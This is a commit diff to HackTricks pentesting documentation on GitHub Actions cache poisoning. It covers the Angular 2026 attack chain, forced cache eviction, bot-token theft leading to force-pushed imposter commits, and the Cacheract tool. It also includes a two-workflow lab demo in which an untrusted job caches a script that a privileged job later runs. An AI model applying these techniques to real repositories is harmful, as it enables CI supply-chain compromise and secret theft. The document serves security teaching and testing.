Skip to content

Commit 10e13b1

Browse files
authored
Merge pull request #276 from HackTricks-wiki/pr-271
Expand GitHub Actions cache poisoning docs with Angular 2026 + Cacheract demo
2 parents cccacb7 + d5a2d0c commit 10e13b1

File tree

2 files changed

+112
-0
lines changed

2 files changed

+112
-0
lines changed

src/pentesting-ci-cd/github-security/abusing-github-actions/README.md

Lines changed: 8 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -498,6 +498,14 @@ GitHub exposes a cross-workflow cache that is keyed only by the string you suppl
498498
- Official actions (`setup-node`, `setup-python`, dependency caches, etc.) frequently reuse deterministic keys, so identifying the correct key is trivial once the workflow file is public.
499499
- Restores are just zstd tarball extractions with no integrity checks, so poisoned caches can overwrite scripts, `package.json`, or other files under the restore path.
500500

501+
**Advanced techniques (Angular 2026 case study)**
502+
503+
- Cache v2 behaves as if all keys are restore keys: an exact miss can still restore a different entry that shares the same prefix, which enables near-collision pre-seeding attacks.
504+
- Since **November 20, 2025**, GitHub evicts cache entries immediately once repository cache size exceeds the quota (10 GB by default). Attackers can bloat cache usage with junk, force eviction, and write poisoned entries in the same workflow run.
505+
- Reusable actions wrapping `actions/setup-node` with `cache-dependency-path` can create hidden trust-boundary overlap, letting an untrusted workflow poison caches later consumed by secret-bearing bot/release workflows.
506+
- A realistic post-poisoning pivot is stealing a bot PAT and force-pushing approved bot PR heads (if approval-reset rules exempt bot actors), then swapping action SHAs to imposter commits before maintainers merge.
507+
- Tooling like `Cacheract` automates cache runtime token handling, cache eviction pressure, and poisoned entry replacement, which reduces operational complexity during authorized red-team simulation.
508+
501509
**Mitigations**
502510

503511
- Use distinct cache key prefixes per trust boundary (e.g., `untrusted-` vs `release-`) and avoid falling back to broad `restore-keys` that allow cross-pollination.

src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-cache-poisoning.md

Lines changed: 104 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -60,10 +60,114 @@ On a cache hit, the restore action will extract the archive as-is. If the cache
6060
- Look for deterministic cache keys reused across trust boundaries (for example, `pip-${{ hashFiles('poetry.lock') }}`) or permissive `restore-keys`, then save your malicious tarball before the privileged workflow runs.
6161
- Monitor logs for `Cache saved` entries or add your own cache-save step so the next release job restores the payload and executes the trojanized scripts or binaries.
6262

63+
## Newer techniques seen in the Angular (2026) chain
64+
65+
- **Cache v2 "prefix hit" behavior:** In Cache v2, exact misses can still restore another entry sharing the same key prefix (effectively "all keys are restore keys"). Attackers can pre-seed near-collision keys so a future miss falls back to the poisoned object.
66+
- **Forced eviction in one run:** Since **November 20, 2025**, GitHub evicts entries immediately when repository cache usage exceeds the limit (10 GB by default). An attacker can upload junk cache data first, evict legitimate entries during the same job, and then write the malicious cache key without waiting for a daily cleanup cycle.
67+
- **`setup-node` cache pivots via reusable actions:** Reusable/internal actions that wrap `actions/setup-node` with `cache-dependency-path` can silently bridge low-trust and high-trust workflows. If both paths hash to shared keys, poisoning the dependency cache can execute in privileged automation (for example Renovate/bot jobs).
68+
- **Chaining cache poisoning into bot-driven supply chain abuse:** In the Angular case, cache poisoning exposed a bot PAT, which was then usable to force-push bot-owned PR heads after approval. If approval-reset rules exempt bot actors, this enables swapping reviewed commits for malicious ones (for example imposter action SHAs) before merge.
69+
70+
##å Cacheract
71+
72+
[`Cacheract`](https://github.com/adnanekhan/cacheract) is a PoC-focused toolkit for GitHub Actions cache poisoning in authorized testing. The practical value is that it automates the fragile parts that are easy to get wrong manually:
73+
74+
- Detect and use runtime cache context from the runner (`ACTIONS_RUNTIME_TOKEN` and cache service URL).
75+
- Enumerate and target candidate cache keys/versions used by downstream workflows.
76+
- Force eviction by overfilling cache quota (when applicable) and then writing attacker-controlled entries in the same run.
77+
- Seed poisoned cache content so later workflows restore and execute modified tooling.
78+
79+
This is especially useful in Cache v2 environments where timing and key/version behavior matter more than in early cache implementations.
80+
81+
## Demo
82+
83+
Use this only in repositories you own or are explicitly allowed to test.
84+
85+
### 1. Vulnerable workflow (untrusted trigger can save cache)
86+
87+
This workflow simulates a `pull_request_target` anti-pattern: it writes cache content from attacker-controlled context and saves it under a deterministic key.
88+
89+
```yaml
90+
name: untrusted-cache-writer
91+
on:
92+
pull_request_target:
93+
types: [opened, synchronize, reopened]
94+
95+
permissions:
96+
contents: read
97+
98+
jobs:
99+
poison:
100+
runs-on: ubuntu-latest
101+
steps:
102+
- uses: actions/checkout@v4
103+
- name: Build "toolchain" from untrusted context (demo)
104+
run: |
105+
mkdir -p toolchain/bin
106+
cat > toolchain/bin/build << 'EOF'
107+
#!/usr/bin/env bash
108+
echo "POISONED_BUILD_PATH"
109+
echo "workflow=${GITHUB_WORKFLOW}" > /tmp/cache-poisoning-demo.txt
110+
EOF
111+
chmod +x toolchain/bin/build
112+
- uses: actions/cache/save@v4
113+
with:
114+
path: toolchain
115+
key: linux-build-${{ hashFiles('toolchain.lock') }}
116+
```
117+
118+
### 2. Privileged workflow (restores and executes cached binary/script)
119+
120+
This workflow restores the same key and executes `toolchain/bin/build` while holding a dummy secret. If poisoned, execution path is attacker-controlled.
121+
122+
```yaml
123+
name: privileged-consumer
124+
on:
125+
workflow_dispatch:
126+
127+
permissions:
128+
contents: read
129+
130+
jobs:
131+
release_like_job:
132+
runs-on: ubuntu-latest
133+
env:
134+
DEMO_SECRET: ${{ secrets.DEMO_SECRET }}
135+
steps:
136+
- uses: actions/cache/restore@v4
137+
with:
138+
path: toolchain
139+
key: linux-build-${{ hashFiles('toolchain.lock') }}
140+
- name: Execute cached build tool
141+
run: |
142+
./toolchain/bin/build
143+
test -f /tmp/cache-poisoning-demo.txt && echo "Poisoning confirmed"
144+
```
145+
146+
### 3. Run the lab
147+
148+
- Add a stable `toolchain.lock` file so both workflows resolve the same cache key.
149+
- Trigger `untrusted-cache-writer` from a test PR.
150+
- Trigger `privileged-consumer` via `workflow_dispatch`.
151+
- Confirm `POISONED_BUILD_PATH` appears in logs and `/tmp/cache-poisoning-demo.txt` is created.
152+
153+
### 4. What this demonstrates technically
154+
155+
- **Cross-workflow cache trust break:** The writer and consumer workflows do not share trust level, but they share cache namespace.
156+
- **Execution-on-restore risk:** No integrity validation is performed before executing a restored script/binary.
157+
- **Deterministic key abuse:** If a high-trust job uses predictable keys, a low-trust job can preposition malicious content.
158+
159+
### 5. Defensive verification checklist
160+
161+
- Split keys by trust boundary (`pr-`, `ci-`, `release-`) and avoid shared prefixes.
162+
- Disable cache writes in untrusted workflows.
163+
- Hash/verify restored executable content before running it.
164+
- Avoid executing tools directly from cache paths.
165+
63166
## References
64167

65168
- [A Survey of 2024–2025 Open-Source Supply-Chain Compromises and Their Root Causes](https://words.filippo.io/compromise-survey/)
66169
- [The Monsters in Your Build Cache: GitHub Actions Cache Poisoning](http://adnanthekhan.com/2024/05/06/the-monsters-in-your-build-cache-github-actions-cache-poisoning/)
170+
- [Turning Almost Nothing into a Supply Chain Compromise of Angular with GitHub Actions Cache Poisoning](https://adnanthekhan.com/posts/angular-compromise-through-dev-infra/)
67171
- [ActionsCacheBlasting (deprecated, Cache V2) / Cacheract](https://github.com/AdnaneKhan/ActionsCacheBlasting)
68172

69173
{{#include ../../../banners/hacktricks-training.md}}

0 commit comments

Comments
 (0)